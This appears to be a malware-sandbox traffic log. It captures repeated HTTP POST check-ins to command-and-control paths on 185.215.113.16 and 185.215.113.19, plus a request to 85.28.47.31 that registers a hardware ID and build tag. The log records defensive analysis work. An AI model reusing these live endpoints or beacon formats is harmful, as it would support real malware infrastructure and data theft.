Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 33 30 30 32 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000003002&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAFCAFCBKFHJJJKKFHIHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 41 43 44 37 44 43 45 35 32 33 31 38 31 37 37 30 34 35 37 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 2d 2d 0d 0a Data Ascii: ------BAAFCAFCBKFHJJJKKFHIContent-Disposition: form-data; name="hwid"F6ACD7DCE5231817704571------BAAFCAFCBKFHJJJKKFHIContent-Disposition: form-data; name="build"sila------BAAFCAFCBKFHJJJKKFHI--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
